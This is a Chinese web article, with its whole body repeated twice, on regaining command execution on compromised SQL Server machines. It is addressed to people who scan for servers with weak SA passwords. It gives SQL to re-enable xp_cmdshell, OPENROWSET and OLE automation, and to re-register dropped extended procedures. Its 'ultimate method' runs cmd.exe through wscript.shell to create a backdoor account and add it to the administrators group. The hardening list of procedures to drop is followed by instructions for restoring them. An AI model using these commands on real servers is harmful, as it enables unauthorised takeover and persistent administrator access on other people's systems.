SQL入侵恢復(fù)xp_cmdshell方法總結(jié)
更新時(shí)間:2010年08月04日 12:39:52 作者:
恢復(fù)xp_cmdshell SQL Server阻止了對(duì)組件 'xp_cmdshell' 的過(guò)程'sys.xp_cmdshell' 啟用
1433 SQL入侵恢復(fù)xp_cmdshell方法總結(jié)
sql server 2005下開(kāi)啟xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005開(kāi)啟'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005開(kāi)啟'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各種困難
常見(jiàn)情況恢復(fù)執(zhí)行xp_cmdshell
1 未能找到存儲(chǔ)過(guò)程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無(wú)法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無(wú)法在庫(kù) xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請(qǐng)嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢復(fù)辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴(kuò)展存儲(chǔ)過(guò)過(guò)程xp_cmdshell的語(yǔ)句:
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
開(kāi)啟cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲(chǔ)擴(kuò)展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復(fù)xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql語(yǔ)句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql危險(xiǎn)存儲(chǔ):
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/*不狐 附上恢復(fù)擴(kuò)展存儲(chǔ)過(guò)程的辦法
先恢復(fù)sp_addextendedproc,語(yǔ)句如下:
SQL代碼:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
再恢復(fù)以上所有擴(kuò)展存儲(chǔ)過(guò)程
SQL代碼:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
SQL Server 阻止了對(duì)組件 'xp_cmdshell' 的 過(guò)程'sys.xp_cmdshell' 的訪問(wèn),因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過(guò)使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書(shū)中的 "外圍應(yīng)用配置器"。
經(jīng)常掃SQL弱口令肉雞的朋友應(yīng)該遇見(jiàn)過(guò)這樣的問(wèn)題 !
接下來(lái)我們用SQL語(yǔ)句搞定他
分析器執(zhí)行的語(yǔ)句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
sql server 2005下開(kāi)啟xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005開(kāi)啟'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005開(kāi)啟'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各種困難
常見(jiàn)情況恢復(fù)執(zhí)行xp_cmdshell
1 未能找到存儲(chǔ)過(guò)程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無(wú)法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無(wú)法在庫(kù) xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請(qǐng)嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢復(fù)辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴(kuò)展存儲(chǔ)過(guò)過(guò)程xp_cmdshell的語(yǔ)句:
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
開(kāi)啟cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲(chǔ)擴(kuò)展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復(fù)xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql語(yǔ)句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql危險(xiǎn)存儲(chǔ):
復(fù)制代碼 代碼如下:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/*不狐 附上恢復(fù)擴(kuò)展存儲(chǔ)過(guò)程的辦法
先恢復(fù)sp_addextendedproc,語(yǔ)句如下:
SQL代碼:
復(fù)制代碼 代碼如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
再恢復(fù)以上所有擴(kuò)展存儲(chǔ)過(guò)程
SQL代碼:
復(fù)制代碼 代碼如下:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
SQL Server 阻止了對(duì)組件 'xp_cmdshell' 的 過(guò)程'sys.xp_cmdshell' 的訪問(wèn),因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過(guò)使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書(shū)中的 "外圍應(yīng)用配置器"。
經(jīng)常掃SQL弱口令肉雞的朋友應(yīng)該遇見(jiàn)過(guò)這樣的問(wèn)題 !
接下來(lái)我們用SQL語(yǔ)句搞定他
分析器執(zhí)行的語(yǔ)句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
相關(guān)文章
SQL Server 事務(wù),異常和游標(biāo)詳解
這篇文章主要為大家介紹了SQLServer事務(wù),異常和游標(biāo),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來(lái)幫助2022-01-01SqlServer?多種分頁(yè)方式?詳解(含簡(jiǎn)單速度測(cè)試)
這篇文章主要介紹了SqlServer?多種分頁(yè)方式?(含簡(jiǎn)單速度測(cè)試),附帶50萬(wàn)數(shù)據(jù)分頁(yè)時(shí)間[本機(jī)訪問(wèn)|已重啟SQL服務(wù)|無(wú)其他程序干擾][非索引排序],需要的朋友可以參考下2022-12-12SQLServer 數(shù)據(jù)庫(kù)故障修復(fù)頂級(jí)技巧之一
SQL Server 2005 和 2008 有幾個(gè)關(guān)于高可用性的選項(xiàng),如日志傳輸、副本和數(shù)據(jù)庫(kù)鏡像。2010-04-04談?wù)凾empdb對(duì)SQL Server性能優(yōu)化有何影響
由于tempdb是SQLServer的系統(tǒng)數(shù)據(jù)庫(kù)一直都是SQLServer的重要組成部分,用來(lái)存儲(chǔ)臨時(shí)對(duì)象,在數(shù)據(jù)庫(kù)中起到舉足輕重的作用,此篇文章給大家?guī)?lái)tempdb對(duì)sql server性能優(yōu)化的影響,感興趣的朋友參考下2015-11-11SQL Server實(shí)現(xiàn)跨庫(kù)跨服務(wù)器訪問(wèn)的方法
這篇文章主要給大家介紹了關(guān)于SQL Server實(shí)現(xiàn)跨庫(kù)跨服務(wù)器訪問(wèn)的方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用SQL Server具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06詳解將DataGrip連接到MS SQL Server的方法
這篇文章主要介紹了詳解將DataGrip連接到MS SQL Server的方法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-11-11